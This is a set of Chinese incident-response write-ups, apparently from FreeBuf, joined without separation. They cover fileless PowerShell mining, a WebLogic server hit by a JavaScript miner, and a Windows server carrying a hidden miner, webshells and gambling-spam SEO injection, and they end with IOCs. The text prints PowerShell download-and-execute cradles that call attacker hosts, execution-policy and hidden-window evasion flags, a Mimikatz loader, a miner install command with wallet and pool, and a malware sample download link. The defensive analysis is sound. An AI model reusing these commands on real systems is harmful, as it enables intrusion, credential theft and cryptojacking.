AGIAMwBiADcAZQBjADEAJwApAHsASQBFAFgAKAAtAGoAbwBpAG4AWwBjAGgAYQByAFsAXQBdACQAbQApAH0A"

直接解密定时任务的内容,解密后为:

IEX(New-ObjectSystem.Net.WebClient).DownloadString(‘http://t.zer2.com/v.jsp?msolow‘)

2.2.6 网络连接分析

发现对对内网445端口以及65529端口的扫描行为

相关行为在if.bin文件中可以看到相关的代码,不仅会扫描445,65529,还会扫描1433和3389,只是在192.168.0.8这台机器上未捕捉到扫描3389和1433的行为。

2.2.7 日志分析

通过对日志分析,发现网络中存在大量的基于SMB的爆破行为,相关日志如下:

通过目前现有的已经记录的日志,最早可以追溯到2019年9月10日23:48:48就存在相应的SMB爆破行为,相关的攻击IP为192.168.0.28

爆破成功日志

2.2.8开放端口

内网大量机器开放TCP 445,导致该病毒可以快速传播。

2.2.9补丁分析

由于该病毒会利用永恒之蓝(MS17-010)进行传播,分析192.168.0.8,发现其未打相关补丁。

三、攻击方式

3.1 感染途径

3.1.1 邮件

电子邮件是powershell 下载者最常见的传播手段,垃圾邮件中经常在.zip包中,包含powershell 脚本文件,这些文件有以下扩展:

.lnk .wsf.hta .mhtml .html.doc .docm .xls

.xlsm .ppt.pptm .chm .vbs .js.bat .pif .pdf.jar

3.1.2 Office宏文档

powershell.exe–nop –w hidden –c

“IEX((NEW-object net.webclient).downloadstring(‘http://192.168.0.42:80/a’))”

3.1.3 各种EXP

包括各种RCE、web漏洞、系统漏洞(MS17-010等),攻击者比较喜欢的方式,特别是可以工具化、自动化利用的EXP

3.2 免杀对抗

3.2.1 隐藏执行窗口

–WindowStyle hidden / -whidden:对用户隐藏PowerShell程序窗口,以隐藏操作痕迹

3.2.2 管道

最常见的bypass执行策略,通过管道方式将脚本内容插入到powershell.exe的标准输入内,这种方法不会改变配置但要求写入磁盘:

`Typehelloword.ps1 |powershell.exe -NoP

> -noprofile,简写-NoP, 为不加载windowspoweshell配置文件

你也可以从网络上下载脚本并执行,这样就不会写入磁盘和修改配置文件

powershell -nop-c "iex(New-Object Net.WebClient).DowndloadString('url')"

> iex Invoke-Expression,允许用户计算和运行动态生成的命令,输出命令的执行结果

> (New-ObjectNet.WebClient).DownloadString,最为常见的远程下载方法,Invoke-WebRequest,BitsTransfer,Net.Sockets.TCPClient都能执行类似的功能

3.2.3 Exec bypass

使用powershell策略中的bypass策略,这种方法不会改变配置或者要求写入磁盘,并且不会有任何的警告或提示,如果你使用Unrestricted,在运行网上下载的未被签名的脚本时会有警告

powershell.exe-ExecutionPolicy bypass -File helloworld.ps1

> -exec bypass 忽略执行策略文件

> -File 指定文件

3.2.4 编码与加密

使用加密方式绕过,首先需要将命令stream加密,再base64加密即可,命令如下:

3.2.5 指定版本参数不记录参数

指定版本参数,使得攻击者可以降低powershell到一个旧版本,新版本如-version 2.0可以记录操作

3.2.6 PSConsole

使用PSConsole指定powershell控制文件

3.2.7 样本案例

Cmd /c powershell-w hidden -ep bypass -c while($True){try{IEX (New-ObjectNet.WebClient).downloadstring(‘<a href=”http://t.zer2.com/ipc.jsp?l“>http://t.zer2.com/ipc.jsp?l</a>’)}catch{Sleep -m2500000}}

Cmd /c 使用cmd加载powershell

-nop 不加载配置文件

-w hidden 隐藏执行窗口

-c 执行命令

3.3 Powershell在攻击活动中的应用

3.3.1 挖矿

powershell”if(!(string).contains(‘SCM EventFilter’))

{IEX(NewObjectNet.WebClient).DownloadString(‘<a href=”http://xxxxxxxx:8000/info6.ps1“>http://XXXXXXXX:8000/info6.ps1</a>’)}”

3.3.2 勒索

Powershell.exe–windowstyle hidden

(New-ObjectSystem.Net.WebClient.DownloadFile

(‘http://[REMOVED]’,’%Temp%\[RANDOM].exe’);Start-Process‘%Temp%\[RANDOM].exe’

3.3.3 横向渗透

常用的横向移动方法如下:

Invoke-Command

Enter-PSSession

WMI/wmic/Invoke-WMImethod

Profile injection

Task Sheduler

Common tools e.g. PsExec

Invoke-Command

Invoke-Shellcode,支持msf部分功能

脚本下载地址:

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/12ce71b9f4b0428d9425e001e5988f91eb2b8b87/CodeExecution/Invoke–Shellcode.ps1

Invoke-PortScan,端口扫描

脚本下载:

https://github.com/samratashok/nishang/blob/master/Scan/Invoke-PortScan.ps1

Invoke-ReflectivePEInjection,开启代理

脚本下载:

https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1

3.3.4 其他

如提取密码,

IEX(New-ObjectNet.WebClient).DownloadString(‘http://192.168.1.108/Invoke-Mimikatz.ps1‘);

Invoke-Mimikatz

四、如何发现

由于无文件挖矿本身没有文件落地,因此常规基于文件的杀软很难有效进行查杀,目前比较主要的发现机制个人总结如下:

4.1 内存

由于无文件攻击主要在内存中执行,因此可以通过分析内存的方法来分析相应的攻击行为,这样的话需要周期性的将内存dump出来,对于某个进程可以使用ProcessHacker来dump,对于整台服务器的内存可以使用RamCapturer来dump内存,同时使用Volatility分析。Linux可以使用dump命令直接将内存导出:

4.2 日志

正常情况下powershell执行的命令通过系统层面的日志是无法直接记录的,但是微软的工具sysmon可以记录到powershell的攻击行为,关于sysmon的相关功能和使用大家可以网上找找,sysmon相关事件id的主要功能如下:

序号 ID Tag
1 ProcessCreate Process Create
2 FileCreateTime File creation time
3 NetworkConnect Network connection detected
4 n/a Sysmon service state change (cannot be filtered)
5 ProcessTerminate Process terminated
6 DriverLoad Driver Loaded
7 ImageLoad Image loaded
8 CreateRemoteThread CreateRemoteThread detected
9 RawAccessRead RawAccessRead detected
10 ProcessAccess Process accessed
11 FileCreate File created
12 RegistryEvent Registry object added or deleted
13 RegistryEvent Registry value set
14 RegistryEvent Registry object renamed
15 FileCreateStreamHash File stream created
16 n/a Sysmon configuration change (cannot be filtered)
17 PipeEvent Named pipe created
18 PipeEvent Named pipe connected
19 WmiEvent WMI filter
20 WmiEvent WMI consumer
21 WmiEvent WMI consumer filter
22 DNSQuery DNS query

可以通过事件ID 1来分析相关的命令执行情况,id 1表示进程创建行为,各种进程创建、命令执行都会通过事件id来记录,因此我们可以通过事件id 1来记录相关的powershell命令执行的行为,然后通过Image过滤powershell.exe相关的操作行为,这样的话可以记录到powershell命令执行日志,然后对所有的powershell命令进行分析,正常情况下,很少遇到通过powershell进行运维或相关操作的情况,因此一旦有powershell的相关行为都可以进行分析;如果具体环境里有使用Powershell的情况,这个时候就需要对powershell的命令内容进行过滤与分析了,分析的重点在于相关的命令参数、url等。

下图是使用cmd执行powershell命令,通过sysmon监控到相关的日志情况

4.3 流量

由于无文件在本地无落地文件,因此本地杀软很难有效查杀,但是即使在内存里面执行,其都会产生相应的网络流量,因此可以在流量层面弥补杀软的不足,通过流量层面过滤相应的URL、IP、MD5等进行安全分析。这一块在实际工作中有很多落地的场景,本块就不细讲。

4.4 Powershell命令参数

可以对powershell的命令进行监控来分析其是否为可疑,正常情况下,运行powershell一般不会加一些参数,攻击者为了防止被发现,所以会加上相关的参数来对抗杀软以及研究人员,相关可疑的命令参数如下所示:

 NoProfile –nop 不加载配置文件

 iex $env:randomname

 DownloadFile下载文件到本地

 Downloadstring 下载文件到内存

 -w hidden 隐藏执行命令窗口

 -ep bypass 忽略执行策略文件

 Unrestricted

4.5 进程调用

正常情况下是powershell的父进程是explorer

在实际的攻击过程中经常发现其父进程为cmd.exe,其祖父进程为explorer.exe

同时,在某些场景下,管理人员也会使用cmd调用powershell,这个时候我们需要分析调用powershell的祖父进程,若其祖父进程为winword.exe、winword.exe或者wuapp.exe,这种情况表明,某个脚本启动了cmd.exe,这个时候我们需要深入分析一些哪些具体哪个脚本或模板调用的cmd进程。

五、样本下载

链接:https://pan.baidu.com/s/1Gfzuia4T0GcRFF_Pb4y7Tw

提取码: hfmx

六、参考链接

https://www.freebuf.com/articles/system/129228.html

https://www.freebuf.com/sectool/209290.html

https://www.freebuf.com/column/200241.html

https://www.freebuf.com/column/203131.html

https://www.freebuf.com/sectool/136328.html

*本文作者:feiniao,转载请注明来自FreeBuf.COM

*本文原创作者:feiniao,本文属FreeBuf原创奖励计划,未经许可禁止转载

一 基本情况

1.1  简要

此事件是去年应急处置时完成的报告,距今有半年时间了。一直存在电脑里,最近准备完善应急响应中遇到的各类安全事件,这篇文章作为这一系列的开端。

对于 Linux 安全检查,个人上段时间写了个 shell 用于一键进行 Linux 安全检查,本文对 Linux 的检查使用相关脚本均可实现,相关链接如下:

https://mp.weixin.qq.com/s/S0OmDRU6uQo8LBBK-GUAaQ

https://github.com/T0xst/linux

1.2 情况简介

2018 年 11 月 8 日,我司「捕影」应急响应小组接到驻场团队反馈,某用户 OA 被 360 浏览器提示「网站存在数字货币挖矿行为」,我司应急响应小组进行分析后确认为真实事件,随后进行黑客入侵分析。

1.3 应急结果

经过分析,判断此次事件为黑客恶意攻击所致,经过安徽三实「捕影」应急响应小组的分析,目前得到以下结论:

1.  此 OA 为某用户老的 OA,因为需要使用其数据才临时启用。

2.  此服务器对应内部 IP 为 10.134.1.76,目前对互联网仅开放其 6001 端口,22 端口只能通过内部访问;目前仅对互联网开放 6001 端口。

3.  系统账号正常

4.  网络连接情况正常

5.  开放端口过多,建议禁用非业务端口

6.  定时任务发现历史 (2018 年 10 月 29 日至 2018 年 11 月 8 日) 曾定时下载挖矿程序

7.  历史命令分析历史曾下载挖矿程序

8.  启动项正常

9.  系统层面未发现病毒、木马、后门

10. 因为其 OA 日志仅保存 2018 年 11 月 13 日至 2018 年 11 月 14 日,黑客植入挖矿程序在 2018 年 11 月 8 号及以前,无相关日志,无法分析黑客入侵的途径。

11. 目前追溯到 2018 年 10 月 29 日已被植入挖矿程序;2018 年 11 月 8 日或更早被植入 JS 代码进行挖矿

12. 未保存黑客攻击时 web 应用的相关日志,无法通过日志分析黑客入侵的方式,但是 webgloic 相关版本存在较多高危漏洞,推测利用 weblogic 漏洞入侵的可能性较大。

二 分析过程

下面将针对此次应急处置的过程做大致的阐述。

2.1 入侵现象

2018 年 11 月 8 日,我司「捕影」应急响应小组接到驻场团队反馈,某用户 OA 被 360 浏览器提示「网站存在数字货币挖矿行为」,具体情况如下所示:

图 1-360 浏览器提示 OA 系统「网站存在数字货币挖矿行为」

 2.2 挖矿验证

360 浏览器提示「网站存在数字货币挖矿行为」, 说明可能存在相关行为。我司应急响应人员对其网站源码分析,发现页面有多处加载 JS 的行为,通过对加载的 JS 逐一分析,发现有一处 JS 有可疑。

图 2-OA 加载 JS 脚本

对这一 JS 脚本进行分析,发现该脚本的确被植入 JS 挖矿脚本,具体如下:

图 3-OA 加载挖矿脚本

图 4-挖矿 JS 代码功能

图 5-挖矿 JS 源码

图 6-挖矿网站

图 7-LoginID 细节

可以看到,这里面的 ID31f7dd372f1545eeb6db379490b0e3c5 为 LoginID, 而非 XMR 的地址,通过将 XMR 地址通过相应的算法转换为 LoginID, 避免了查找真实的 XMR 地址,起到了保护隐私的目的。

 通过上面的分析,可以看到该 JS 的大概功能如下:

矿池地址 wss://xmr.omine.org:8181
挖矿方式 网页挖矿 (JS 挖矿) 正常用户访问被植入 JS 的网站 (OA 系统),正常用户的浏览器都会自动为攻击者挖矿。挖矿使用 CPU 挖矿,浏览器会占用所有的 CPU 资源。
植入的 JS https://xmr.omine.org/assets/v7.js
XMR 地址 无法查到,攻击者将 XMR 地址使用算法转换为 LoginID,从而避免查找其 XMR 地址以及相关的挖到数字货币的相关数据。 LoginID: 31f7dd372f1545eeb6db379490b0e3c5
挖矿 JS 被植入时间 2018 年 11 月 8 日或更早
挖数字货币类型 XMR 门罗币, 一种全匿名的数字货币。其特点在于交易过程全匿名,无法追踪。

服务器被植入挖矿脚本说明服务器肯定被黑客入侵了,由于目前 OA 系统服务器仅 6001 端口对互联网开放,因此通过 web 应用入侵的可能性比较大。另外,黑客入侵以后可能会对系统及应用进行操作,如添加账号、开放端口、增加定时任务、自启动程序、植入 webshell、后门等,因此需要对系统对 web 应用进行全面分析,以发现黑客可能进行的恶意操作行为。

 2.3 系统分析

2.3.1 开放端口分析

对 OA 服务器的开放端口, 发现其开放以下端口。

图-8-开放端口

序号 开放端口 应用 建议
1 21 vsftpd 建议只对内网开放,并且访问需要经过堡垒机。  
2 22 SSH 建议只对内网开放,并且访问需要经过堡垒机。 
3 111 portmap 建议分析,并决定是否需要关闭
4 631 cupsd 建议分析,并决定是否需要关闭
5 925 rpc.statd 建议分析,并决定是否需要关闭
6 2207 python 建议重点分析,并决定是否需要关闭
7 2208 hpiod 建议分析,并决定是否需要关闭
8 6001 OA 应用端口 建议经过 WAF 防护

结论:通过以上分析,可以看出该台服务器开放较多非业务端口,建议根据实际情况进行决定是否需要开放。

 2.3.2  网络连接分析

通过分析 OA 服务器,目前只发现有以下连接。

图 9-网络连接情况

相关连接作用主要如下:

序号 连接 说明
1 10.134.1.76:*->10.134.1.74:1521 和 Oracle 数据库交互,其为用户访问 OA 时调用后台数据库
2 10.134.1.76:22<-10.134.8.222 内部运维访问该服务器
3 10.134.1.76:6001<-220.178.108.2 用户通过互联网访问 OA

 结论:通过上面的分析,可以看出网络连接层面正常。

2.3.3 账号分析

2.3.3.1 root 权限用户

目前仅有 root 一个用户具有 root 权限。

图 10-root 权限用户

2.3.3.2 可登录用户

OA 服务器有三个用户可以使用 SSH 方式进行登录:root、ahsx、suncn

图 11-可登录用户

通过/etc/shadow 文件分析,也仅 root、ahsx 和 suncn 三个账号可以登录。

图 12-可登录用户

结论:通过上面的分析,可以看出账号层面正常。

2.3.4 定时任务分析

通过分析,系统未见定时任务。

图 13-定时任务

但是对/var/log/cron*日志分析,发现存在 5 个相关的日志。

图 14-定时任务日志

对日志内容进行分析,发现 10 月 29 日 0 点 08 分 01 秒使用 root 账号下载一个 sh 文件。

图 15-日志分析

该定时任务一直到 2018 年 11 月 8 日 17:49:01 秒才结束。

图 16-定时日志分析

2.3.4.1  mr.sh 脚本分析

对 mr.sh 脚本进行分析,发现 mr.sh 脚本功能非常强大。大概功能如下:

1. 杀掉部分进程、网络连接

2. 更改主机的 iptables,拒绝部分主机访问

3. 自动下载其他恶意脚本、文件, 并执行

4. 将恶意脚本加入到自启动中

5. 删除安装后的恶意脚本与临时文件

图 17-mr.sh 脚本内容

2.3.4.2 wc.conf 分析

wc.conf 该文件主要为挖矿的配置文件,里面包括矿池地址、矿工名以及挖矿的相关配置。

图 18-wc.conf 分析

通过以上的分析,可以看到,黑客在 2018 年 10 月 29 日 0 点 08 分 01 秒前已经入侵该台服务器,植入挖矿程序,直到 2018 年 11 月 8 日 17 时 49 分该挖矿程序才停止。

2.3.5 历史命令分析

通过对历史命令分析,可以看到曾执行以下恶意脚本。通过对脚本内容分析,发现其是一个挖矿脚本,和 http://www.tionhgjk.com:8220/mr.sh 为同一脚本。

图 19-部分历史命令

图 20-192.99.142.246:8220/mr.sh 恶意脚本内容

结论:历史命令发现曾执行恶意脚本,脚本主要功能为下载挖矿程序。

2.3.6 Hosts 文件分析

Host 文件记录域名到 IP 的对应关系,在查询时其优先级别高于 DSN 查询,黑客经常将正常域名解析到黑客控制服务器的 IP 地址上,以实现监听、代理等功能。对 OA 服务器的 hosts 文件分析,其解析情况正常。 

图 21-hosts 配置分析

结论:hosts 文件正常。

2.3.7  登录日志分析

Last 记录 OA 服务器最近用户的登录退出等情况,通过对最近登录情况 (登录用户、登录 IP、登录时间等内容) 的分析,可以了解系统的安全情况。对最近登录情况分析,发现 OA 服务器最近登录情况正常。

图 22-最近登录情况

图 23-最近登录失败情况

图 24-最近登录用户情况

结论:最近登录情况正常。

2.3.8 启动项分析

启动项记录系统自启动的情况,若黑客入侵植入木马或后门为了持续控制该服务器,会将相应用服务加入到自启动服务中。这样的话,在重启以后,也可以持续控制该服务器。对 OA 的自启动分析,发现其自启动服务较多,未发现明显异常自启动服务。

图 25-启动服务

结论:未发现异常自启动服务

2.3.9 病毒木马分析

Linux 下病毒木马相对较少,但是也存在。Linux 下主要的安全隐患是 rootkit,rootkit 是一种恶意程序,一般会和病毒木马后门程序等捆绑在一起安装。并且系统被植入 rootkit 以后,通过系统无法查找其文件、进程、网站流程、账号等情况。排除难度较大。查找 rootkit 一般通过工具查找,rkhunter 是一款不错的 rootkit 查找工具。这里,我们使用 rkhunter 来查找 rootkit。

图 26-rkhunter 查找 rootkit

图 27-查找 rootkit 日志

结论:通过以上分析,目前 OA 服务器无 rootkit

2.3.10 系统分析总结

通过以上的分析,可以得出系统层面以下结论:

1、系统账号正常

2、网络连接情况正常

3、开放端口过多,建议禁用非业务端口

4、定时任务发现历史曾定时下载挖矿程序

5、历史命令分析历史曾下载挖矿程序

6、启动项正常

7、未发现病毒、木马、后门

2.4 应用分析

因为该服务器只对互联网开放 web 端口,并且通过系统层面的分析到该服务器曾经定时下载恶意脚本,因此基本判定黑客是通过 web 方式入侵服务器的。因此,需要对 web 应用进行全面的分析,通过和 OA 开发人员沟通,其网站后台的维护全部通过操作系统后台进行维护,前台无法维护。因此需要对 web 应用进行全面分析。

2.4.1 Webshell 分析

使用 D 盾对 web 应用进行 webshell 查杀,未发现 webshell。

图 28-使用 D 盾检查 webshell 情况

结论:无 webshell, 并且前文分析到系统中无后门与木马,因此初步判定黑客是通过应用的漏洞来入侵系统,并且该漏洞可以执行系统权限。

2.4.2 日志分析

目前 web 日志只保存 2018 年 11 月 13 日到 14 日的日志,由于黑客入侵在 10 月 29 号或以前,因此无法通过日志分析黑客入侵的方式。

图 29-访问日志

结论:由于日志只保存 11 月 13 日与 14 日,无法通过日志分析黑客的入侵方式。

2.4.3 Weblogic 分析

既然前面已经判定黑客是通过 web 方式入侵的,并且这种利益驱动的黑客入侵的方式一般为利用现有的漏洞批量入侵,因此需要对 web 应用的中间件及版本进行分析,再通过中间件类型与版本关联相应的漏洞进行分析黑客可能的入侵途径。

通过分析,OA 系统使用的是 weblogic 中间件,通过查看 registry.xml 配置文件分析,发现其 weblogic 的版本为 10.3.6.0。通过 google 搜索相应的漏洞,发现该版本存在多个重大漏洞,可利用该漏洞 getshell,拿到服务器权限。相应的漏洞 CVE 编号如下:

1.  CVE-2014-4210

2.  CVE-2015-4852

3.  CVE-2017-3248

4.  CVE-2017-10271

5.  CVE-2018-2628

……

图 30-weblogic 10.3.6 漏洞

图 31-weblogic 版本

图 32- CVE-2017-10271

图 33- CVE-2018-2628 漏洞

结论:由于该服务器对外只开放 web 业务,基本上判定黑客是通过 web 入口入侵,另外,由于该版本存在较多高危漏洞,初步怀疑通过该漏洞入侵的可能性比较高。建议升级 weblogic 的版本或使用 WAF 进行防护。

2.4.4 应用分析总结

由于应用日志只保存 11 月 13-14 日日志,无法通过日志分析黑客入侵的方式,并且 weblogic 10.3.6.0 版本存在较多高危漏洞,因此初步判定黑客是通过 weblogic 漏洞入侵。

2.5 分析总结

1. 此 OA 为某用户老 OA,因为需要使用其数据才临时启用。

2. 此服务器对应内部 IP 为 10.134.1.76,目前对互联网仅开放其 6001 端口,22 端口只能通过内部访问;目前仅对互联网开放 6001 端口。

3. 系统账号正常

4. 网络连接情况正常

5. 开放端口过多,建议禁用非业务端口

6. 定时任务发现历史 (2018 年 10 月 29 日至 2018 年 11 月 8 日) 曾定时下载挖矿程序

7. 历史命令分析历史曾下载挖矿程序

8. 启动项正常

9. 系统层面未发现病毒、木马、后门

10. 因为其 OA 日志仅保存 2018 年 11 月 13 日至 2018 年 11 月 14 日,黑客植入挖矿程序在 2018 年 11 月 8 号及以前,无相关日志,无法分析黑客入侵的途径。

11. 目前追溯到 2018 年 10 月 29 日已被植入挖矿程序;2018 年 11 月 8 日或更早被植入 JS 代码进行挖矿

12. 未保存黑客攻击时 web 应用的相关日志,无法通过日志分析黑客入侵的方式,但是 webgloic 相关版本存在较多高危漏洞,推测利用 weblogic 漏洞入侵的可能性较大。

三 建议

1. 升级 weblogic 版本或者使用 WAF 进行防护,同时需要升级 WAF 策略库,以保障可以防护相应的漏洞

2. 定期对服务器进行安全检查

3. 老的 OA 建议将相关数据迁移到新的 OA, 将老的 OA 暂停使用

4. 定期对网站进行渗透测试与安全监测

5. 定期升级 WAF 策略

*本文原创作者:feiniao,本文属FreeBuf原创奖励计划,未经许可禁止转载

前言

本文是前段时间处理某用户被黑的分析总结,用户被黑的表现是使用爬虫访问用户网站的首页时会出现博彩关键字,而使用正常浏览器访问时无相关的博彩关键词。这是典型的黑帽SEO的表现,针对这种技术,前期文章已有相关分析,感兴趣的同学可以看一看。

此次分析,发现用户的服务器被多波不同利益的黑客入侵,里面有一些比较有意思的内容,所以特意分析总结了一下。

一、概述

1、分析结果

经过分析,目前得到以下结论:

1)服务器上存在博彩信息与挖矿程序,说明被多波不同利益团队的黑客入侵;

2)此服务器于2018年9月21日被黑客入侵后加上相应的博彩内容,相应的IP为175.41.27.93;

3)此服务器在2016年2月份甚至更早就已经被黑客植入网马了;

4)服务器在2017年12月19日被植入挖矿程序;

5)系统被增加了隐藏账号test$,并且在2018年9月21日14:38发现账号guest有IP为212.66.52.88,地理位置为乌克兰登录的情况。

二、分析过程

2.1 入侵现象

2018年9月份,通过我司监测平台监测到某网站被植入博彩内容,具体如下:

某网站被植入博彩内容

某网站被植入博彩内容

网站被植入博彩信息

网站被植入博彩基本上说明网站被黑客入侵,我司“捕影”应急响应小组立即协助用户进行入侵分析。

2.2 系统分析

系统分析主要用于分析其系统账号、进程、开放端口、连接、启动项、文件完整性、关键配置文件等,通过系统相关项的分析判断其系统层面是否正常。对其系统层面分析,发现以下层面存在问题:

系统账号

对系统账号的分析,目前发现系统存在以下账号:

Administraotr、MYSQL_ZKEYS、test$ 、zhimei、renjian、APP_IWAM_61264026、APP_IWAM_6127201、guest

其中test$明显为隐藏账号,一般情况下系统管理员不会增加隐藏账号,该账号肯定为黑客增加。另外几个账号,如zhimei、renjian等为可疑账号,需要管理人员进行确认。

系统账号情况

系统账号情况

系统账号情况

管理员信息

管理员信息

管理员组中存在administrator和guest,一般情况下guest为来宾账号,不会增加到管理员组中,怀疑该账号为黑客增加到管理员组中。

系统账号存在两个问题:

1)服务器被增加test$隐藏账号

2)Guest账号被加入到管理员组中

日志分析

通过相关安全产品的日志,可以看到guest账号于2018年9月21日14:38被IP为212.66.52.88的乌克兰IP登录,该账号密码肯定已泄露,建议禁用该账号。

日志分析

进程与服务分析

对其服务器分析,发现其服务器的CPU利用率非常高,利用率为100%。发现主要被SQLServer.exe占用。

CPU利用率为100%

CPU利用率为100%

SQLServer.exe占用CPU最高

SQLServer.exe占用CPU最高

找到该程序所在的目录,发现该程序放在C:\ProgramData\MySQL目录下,并且被目录被隐藏。里面有四个文件,两个bat文件,两个exe文件。

找到该程序所在的目录

【Startservice.bat功能分析】

对startservice.bat进行分析,其内容如下:

startservice.bat

其功能如下:

1)set SERVICE_NAME=SystemHost,指定其服务名为SystemHost:

指定其服务名为SystemHost

2)Tomcat9 install"%SERVICE_NAME%" SQLServer.exe -o stratum+tcp://pool.minexmr.com:7777–u 49ZRiTZK93yBqAJWBTh2zTAjvq8z9oTn38Rc2ScqSF7E8oRizddzy2iTh6kyyRibt

7Ai1w8RWhTAPPPti4ZABeMpHhCJa1F -p x -dbg -1-t 0

使用Tomcat9 安装相应的挖矿程序,挖矿参数分析:

矿池地址 pool.minexmr.com
矿池端口 7777
矿工账号 49ZRiTZK93yBqAJWBTh2zTAjvq8z9oTn38Rc2ScqSF7E8oRizddzy2iTh6kyyRibt7Ai1w8RWhTAPPPti4ZABeMpHhCJa1F
挖矿程序被植入时间 20171219 16:29
挖数字货币类型 XMR 门罗币,一种全匿名的数字货币。其特点在于交易过程全匿名,无法追踪。
XMR数量与价值 7.6XMR 人民币约6000

矿池网站

黑客挖XMR数量

黑客挖XMR数量

挖矿程序被植入时间

挖矿程序被植入时间

3)Set ProcessName=SQLServer.exe指定进程名为SQLServer.exe:

指定进程名为SQLServer.exe

4)attrib +h +r %cd%\*.*

作用:将该目录下的所有文件隐藏

5) reg add "HKLM\system\CurrentControlSet\Control\Terminal Server

\WinStations\RDP-Tcp" /v "MaxConnectionTime"/t REG_DWORD /d 0x1 /f

reg add"HKLM\system\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" /v "MaxDisconnectionTime" /tREG_DWORD /d 0x0 /f

reg add"HKLM\system\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" /v "MaxIdleTime" /t REG_DWORD /d 0x0/f

功能:配置注册表,作用为使远程连接永不超时。

6) net accounts /forcelogoff:no

功能: 防止强制注销用户

【mHi.bat功能分析】

mHi.bat的功能如下:

1)将c:\ProgramData及C:\ProgramData\MySQL隐藏,防止安全人员发现;

2)指定C:\ProgramData\MySQL、C:\WINDOWS\Tasks\AdobeFlash Player Updater.job、C:\WINDOWS\Tasks\GoogleUpdateTaskMashine.job相关文件的访问控制权限,仅允许SYSTEM组用户完全控制:

mHi.bat功能

mHi.bat功能

calcls功能

calcls功能

【SQLServer.exe功能分析】

子进程,主要功能用来挖矿

【Tomcat9.exe功能分析】

1)SQLServer.exe的父进程,用来守护SQLServer.exe,

2)SQLServer.exe一旦被关闭,会立即启动SQLServer.exe

【功能总结】

通过以上分析,可以看出,黑客增加的四个文件的主要作用如下:

功能总结

【应急处置】

直接关闭SQLServer.exe,该程序立马启动。由于其存在父进程,直接查找父进程,命令如下:wmic process whereName="SQLServer.exe" get ParentProcessID

直接查找父进程

首先关闭父进程Tomcat9.exe,然后再关闭子进程SQLServer.exe,挖矿程序被清除,CPU使用正常。

CPU使用正常

开放端口

对其该服务器进行分析,发现该服务器开放以下端口:

开放以下端口

端口开放情况

端口开放情况

端口开放情况

端口开放情况

建议关闭 21 、 135 、 445 、 8080 等端口,其他端口需要根据业务需求来决定是否关闭。

其他分析

对该服务器的连接、安装软件、关键配置文件、启动项分析,目前未发现异常。

分析结论

通过对系统层面分析,其服务器系统层面主要存在以下问题:

1)服务器被增加test$隐藏账号

2)Guest账号被加入到管理员组中

3)guest账号于2018年9月21日14:38被IP为212.66.52.88的乌克兰IP登录,该账号密码已泄露,目前已禁用该账号

4)端口开放过多,其中21、135、445、8080等端口建议关闭

5)2017年12月19日已被植入挖矿程序

2.3 应用分析

博彩页面分析

【技术原理】

通过内容分析,发现此次黑客为SEO性质的。其主要目的在于通过黑帽SEO获取经济利益,一般情况下,黑客植入博彩内容有以下途径:

前端劫持

前端劫持一般都是在网站的相应页面中插入JS脚本,通过JS来进行跳转劫持。也有发现黑客直接修改相应的页面内容的。

服务器端劫持

服务器端劫持也称为后端劫持,其是通过修改网站动态语言文件,如global.asax、global.asa、conn.asp、conn.php这种文件。这些文件是动态脚本每次加载时都会加载的配置文件,如访问x.php时会加载conn.php。这样的话,只需要修改这些全局的动态脚本文件(如global.asax),访问所有的aspx文件时都会加载这个global.asax文件,可以达到全局劫持的效果。

针对以上两种劫持技术,可以直接查看我前期的技术分析:http://www.freebuf.com/articles/web/153788.html

【博彩分析】

通过页面分析判断为在服务器端劫持,服务器端劫持一般是修改全局配置文件,如global.asax、global.asa、conn.asp、conn.php。

通过对该服务器分析,发现其修改config_global.php该文件。植入如下内容:

植入如下内容

这里面黑客将相应的劫持内容进行base64加密了,将其中base64加密的内容进行base64解密,得到以下内容:

得到以下内容

其中 function isSpider()函数主要用来判断是否为爬虫访问,爬虫的浏览器特征如下:

         $bots= array(                   'baidu'        => 'baiduspider',                   'sogou'        => 'sogou',                   '360spider'        => 'haosouspider',                   '360spider'        => '360spider',                   'bingbot'        => 'bingbot',                   'Yisou'        => 'Yisouspider',

如果是爬虫则返回http://l5.wang2017.com/相关的内容。

【应急处置】

处置的话比较简单,直接将黑客增加的base64加密的内容删除即可,删除相关内容以后,访问正常。

Webshell分析

Webshell主要是网马,其作用为通过webshell可以控制整个服务器,并进行系统级别的操作,使用D盾对服务器查杀,发现存在23个webshell。

webshell

webshell

选择部分其代码如下:

201806r4kfjtv4zexnvfbf.jpg图片马

201806r4kfjtv4zexnvfbf.jpg图片马

针对网站发现的23个webshell,目前相关webshell均已删除。

2.4 日志分析

未找到有效日志,无法分析入侵原因及途径。

三、IOC

3.1 IP

212.66.52.88

175.41.27.93

3.2 URL

http://l5.wang2017.com

3.3 样本MD5

70D9E2761B18CB0E4C4051E905F9E7A5

EA9F0B1E88B5E21B9A9D31D5C46E81D7

A3CD992FDDC2300AD8A23AD16FE3725C

A8ADE1F8D0D87E4D7A75919EE6B3740F

58A9B144762916FE227AF329F5D384F1

DBBB0ACE277D955833696F06C610DE2E

7F7D78755E070860EFFFD1272F14C7A7

9A5772ED22973DA02A45872BBC3735F2

E276D34B3AE124E8218CBC32B4D341B2

B663F32281526B17A540655EC05EC9EC

0D66C67B8BEC9627B696DEB275862E72

634630797CACCC334EFF054FE6279E91

AB908A995367FF0055DFF903F515B061

5D52847EC2CCC750951EF0765AEEC17B

249D7774648FB1CD309AA23B3F96430B

C13D2297D244D398B6A311DDA87DBDC7

C23206B81B06D64933C5FBC24AF69CF6

E14E6B1629ED5079F55B69DF66EDAFD7

8D01D604794D3494CBB31570B1E54182

2A235990DD38A0BCBAF2C4835EB8C0A3

5D568BC15EE4D861583E68B63762C2B1

0D66C67B8BEC9627B696DEB275862E72

3.4 矿池地址

stratum+tcp://pool.minexmr.com:7777

3.5 钱包地址

49ZRiTZK93yBqAJWBTh2zTAjvq8z9oTn38Rc2ScqSF7E8oRizddzy2iTh6kyyRibt7Ai1w8RWhTAPPPti4ZABeMpHhCJa1F

*本文作者:feiniao,转载请注明来自FreeBuf.COM

*本文作者:feiniao,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

前言

近日,“云悉”互联网安全监测平台监测到大量企事业单位及高中专院校大量出现博彩类信息,大量网站其页面被植入博彩信息。笔者对这些被攻击的网站以及手法进行了一番探究。

1. 情况说明

